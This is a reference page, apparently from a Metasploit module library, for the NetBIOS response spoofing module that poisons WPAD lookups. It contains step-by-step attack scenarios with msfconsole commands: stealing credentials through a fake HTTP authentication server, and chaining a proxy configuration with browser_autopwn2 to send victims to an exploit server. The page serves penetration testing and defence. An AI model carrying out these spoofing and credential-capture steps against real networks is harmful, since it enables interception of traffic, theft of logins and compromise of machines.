NetBIOS Response Brute Force Spoof (Direct) - Metasploit


This page contains detailed information about how to use the auxiliary/admin/netbios/netbios_spoof metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: NetBIOS Response Brute Force Spoof (Direct)
Module: auxiliary/admin/netbios/netbios_spoof
Source code: modules/auxiliary/admin/netbios/netbios_spoof.rb
Disclosure date: -
Last modification time: 2017-07-24 06:26:21 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 137
List of CVEs: -

This module continuously spams NetBIOS responses to a target for given hostname, causing the target to cache a malicious address for this name. On high-speed local networks, the PPSRATE value should be increased to speed up this attack. As an example, a value of around 30,000 is almost 100% successful when spoofing a response for a 'WPAD' lookup. Distant targets may require more time and lower rates for a successful attack.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/admin/netbios/netbios_spoof
msf auxiliary(netbios_spoof) > show targets
    ... a list of targets ...
msf auxiliary(netbios_spoof) > set TARGET target-id
msf auxiliary(netbios_spoof) > show options
    ... show and set options ...
msf auxiliary(netbios_spoof) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


netbios_spoof continuously spams NetBIOS responses to a target for given hostname, causing the target to cache a malicious address for this name. By default, the module will attempt to poison WPAD, forcing the target system to communicate with a fake server that can be leveraged to steal sensitive information, or obtain arbitrary code execution.

Vulnerable Application


Windows is the most ideal target because it supports WPAD by default.

Options


NBADDR

The address that the NetBIOS name (NBNAME) should resolve to.

NBNAME

The NetBIOS name to spoof a reply for.

PPSRATE

The rate at which to send NetBIOS replies.

Scenarios


Credential Collection Attack Using Targeted NetBIOS Spoofing:

The following example uses http_basic, but other modules (such as http_ntlm) also applies.

Step 1: Start the first Metasploit instance:

  1. rvmsudo ./msfconsole -q
  2. use auxiliary/server/capture/http_basic
  3. set REALM google.com
  4. set URIPATH /
  5. run

Step 2: Start the second Metasploit instance:

  1. rvmsudo ./msfconsole -q
  2. use auxiliary/admin/netbios/netbios_spoof
  3. set NBADDR [IP to fake HTTP auth server]
  4. set PPSRATE 30000
  5. set RHOST [Target Host]
  6. run

Step 3: On the victim machine:

  1. Make sure IE automatically detects settings (under LAN settings)
  2. Start IE, as soon as it opens, IE should try to authenticate.

If the spoofed name has already been cached, you can do this to flush. And then next time IE will be asked for credentials again.

ipconfig /flushdns

Arbitrary Code Execution Using Targeted NetBIOS Spoofing:

The following example will spoof WPAD and causes google.com to redirect to an exploit server.

Step 1: Start the first Metasploit instance:

  1. rvmsudo ./msfconsole -q
  2. use auxiliary/server/browser_autopwn2
  3. set SRVPORT 8181
  4. run

Remember the BrowserAutoPwn URL, you will need this info for the proxy configuration file.

Step 2: Install Squid Proxy server (or SquidMan if you use OS X), and edit the configuration file:

First, uncomment these settings if they are found in the file:

  • http_access deny all
  • http_access deny !Safe_ports
  • http_access deny CONNECT !SSL_ports
  • http_access deny to_localhost
  • http_access deny all
  • always_direct deny all

Second, add the following (make sure the change MyNetwork setting, and update the BrowserAutoPwn URL field:

acl MyNetwork src 192.168.1.0/24
acl BLKSite dstdomain .google.com
deny_info [BrowserAutoPwn URL] all
http_reply_access deny BLKSite all
http_access allow MyNetwork

Step 3: Start the second Metasploit instance:

  1. rvmsudo ./msfconsole -q
  2. use auxiliary/server/wpad
  3. set PROXY [Proxy IP]
  4. set PROXYPORT 8080
  5. run

Step 4: Start the third Metasploit instance:

  1. rvmsudo ./msfconsole -q
  2. use auxiliary/admin/netbios/netbios_spoof
  3. set NBADDR [IP to fake HTTP server]
  4. set PPSRATE 30000
  5. set RHOST [Target Host]
  6. run

Step 5: On the victim machine:

  1. Make sure IE automatically detects settings (under LAN settings)
  2. Start IE
  3. Go to google.com, IE should end up loading the exploit server.

If the spoofed name has already been cached, you can do this to flush.

ipconfig /flushdns

Go back to menu.

Msfconsole Usage


Here is how the admin/netbios/netbios_spoof auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/netbios/netbios_spoof

msf6 auxiliary(admin/netbios/netbios_spoof) > show info

       Name: NetBIOS Response Brute Force Spoof (Direct)
     Module: auxiliary/admin/netbios/netbios_spoof
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  vvalien
  hdm <[email protected]>
  tombkeeper

Check supported:
  No

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  NBADDR   192.168.204.3    yes       The address that the NetBIOS name should resolve to
  NBNAME   WPAD             yes       The NetBIOS name to spoof a reply for
  PPSRATE  1000             yes       The rate at which to send NetBIOS replies
  RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT    137              yes       The target port (UDP)

Description:
  This module continuously spams NetBIOS responses to a target for 
  given hostname, causing the target to cache a malicious address for 
  this name. On high-speed local networks, the PPSRATE value should be 
  increased to speed up this attack. As an example, a value of around 
  30,000 is almost 100% successful when spoofing a response for a 
  'WPAD' lookup. Distant targets may require more time and lower rates 
  for a successful attack.

Module Options


This is a complete list of options available in the admin/netbios/netbios_spoof auxiliary module:

msf6 auxiliary(admin/netbios/netbios_spoof) > show options

Module options (auxiliary/admin/netbios/netbios_spoof):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   NBADDR   192.168.204.3    yes       The address that the NetBIOS name should resolve to
   NBNAME   WPAD             yes       The NetBIOS name to spoof a reply for
   PPSRATE  1000             yes       The rate at which to send NetBIOS replies
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    137              yes       The target port (UDP)

Advanced Options


Here is a complete list of advanced options supported by the admin/netbios/netbios_spoof auxiliary module:

msf6 auxiliary(admin/netbios/netbios_spoof) > show advanced

Module advanced options (auxiliary/admin/netbios/netbios_spoof):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   CHOST                       no        The local client address
   CPORT                       no        The local client port
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the admin/netbios/netbios_spoof module can do:

msf6 auxiliary(admin/netbios/netbios_spoof) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the admin/netbios/netbios_spoof auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/netbios/netbios_spoof) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Error: Target sent us an ICMP port unreachable, port is likely closed


Here is a relevant code snippet related to the "Error: Target sent us an ICMP port unreachable, port is likely closed" error message:

71:	          pps = (pcnt / (Time.now.to_f - stime)).to_i
72:	          if pps > @targ_rate
73:	            sleep(0.01)
74:	          end
75:	        rescue Errno::ECONNREFUSED
76:	          print_error("Error: Target sent us an ICMP port unreachable, port is likely closed")
77:	          live = false
78:	          break
79:	        end
80:	      end
81:	    end

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • vvalien
  • hdm
  • tombkeeper

Version


This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.